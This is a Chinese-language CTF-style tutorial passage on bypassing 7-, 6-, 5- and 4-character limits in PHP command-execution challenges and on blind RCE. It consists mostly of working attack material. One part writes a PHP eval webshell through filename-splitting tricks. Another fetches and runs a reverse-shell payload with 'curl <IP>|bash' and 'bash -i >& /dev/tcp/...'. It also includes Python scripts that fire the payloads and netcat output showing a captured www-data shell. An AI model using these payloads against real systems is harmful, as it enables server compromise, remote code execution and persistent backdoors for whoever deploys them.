0x09 字符数量限制bypass
源自于某次比赛的题目。题目限制了命令的长度,只能7个字符。
<?php
$sandbox = dirname(__FILE__).'/sandbox_' . md5("orange" . $_SERVER['REMOTE_ADDR']);
mkdir($sandbox,0755,true);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
在此情况下,利用linux的命令特性,写入一句话木马,从而达到目的。
在此之前首先了解linux命令的一些特性
>a #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符
总体思路是,通过每次提交不超过7个字符的命令,写入一句话木马的执行语句到文件名,然后通过sh a ls -t,利用文件名组成写入一句话木马的命令
首先,我们要写入的一句话木马为:
<?php eval($_GET[1]);
base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
最终需要被执行的语句
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
然后将语句分拆,输出为文件名,然后最后两行是
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
用python打payload
import requests
url = "http://xxxxx/index.php?cmd={0}"
print("[+]start attack!!!")
with open("execpayload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
最终会在目录下生成1.php,里面就是一句话木马
如果是五位字符限制,则最后用
>ls\\
ls>a
>\ \\
>-t\\
>\>0
ls>>a
sh a
四位:
>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0
cat 0
0x10 无回显rce
无回显rce是远程服务器上执行命令后,前段不会显示执行结果。这个时候需要使用curl或反弹shell进行绕过。
无回显可以通过增加参数sleep进行判断
ls|sleep 10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
首先测试是否执行成功
GET /index.php?c=ls HTTP/1.1
GET /index.php?c=ls|sleep 10 HTTP/1.1
如返回时间有明显差异,则代表命令执行成功。
对于无参数RCE,可以使用反弹shell
0x10 字符数量限制bypass2
curl反弹shell
此方法利用curl的反弹shell技巧,构造反弹shell语句,利用curl 访问目标地址|hash,执行目标地址上的反弹shell语句。
首先,我们要利用一个目标机能访问的地址,上面放我们的反弹shell语句。
例题:
<?php
error_reporting(E_ALL);
$sandbox = dirname(__FILE__).'/sandbox_' . md5("orange" . $_SERVER['REMOTE_ADDR']);
mkdir($sandbox,0755,true);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 6) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
第一,我们利用一台公网地址的服务器,搭建80服务,服务返回反弹shell的语句,效果如下:
访问:http://81.71.84.61/
显示:bash -i >& /dev/tcp/219.152.63.100/8000 0>&1
具体反弹shell的语句作用后面另起专题讲述。
第二,利用linux特性写入一句话木马,参考上述篇章。由于限制字符数量限制,此处分开两部分执行。
第一部分
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_
此部分主要是分两段,写入文件_中。首先写入ls字符,然后追加写入-t >y,这样执行sh _,即执行ls -t >y。此语句等于0x09的ls -t>0
第二部分,构造curl 81.71.84.61|bash(curl访问这个地址即返回bash -i >& /dev/tcp/219.152.63.100/8000 0>&1这句话),从而执行反弹shell
">bash",
">\|\\",
">61\\",
">84.\\",
">71.\\",
">81.\\",
">\ \\",
">rl\\",
">cu\\"
由于有字符限制,所以按照上述拆分。
最后,执行sh _,然后执行sh y 即可
具体python代码如下:
import requests
baseurl = "http://81.71.84.61:50002/?cmd="
reset = "http://81.71.84.61:50002/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
# curl 219.152.63.100|bash
# curl 81.71.84.61|bash
list2=[
">bash",
">\|\\",
">61\\",
">84.\\",
">71.\\",
">81.\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)
备注:用于接收shell的机器要开启端口监听
[root@gr8oqhchdsedujtq ~]# nc -lv 8000
效果如下:
[root@gr8oqhchdsedujtq ~]# nc -lv 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 81.71.84.61.
Ncat: Connection from 81.71.84.61:43998.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@314b51acf314:~/html/sandbox_92f06c44fa329edc79eafc1eb74538aa$ ls /
ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www-data@314b51acf314:~/html/sandbox_92f06c44fa329edc79eafc1eb74538aa$
网友评论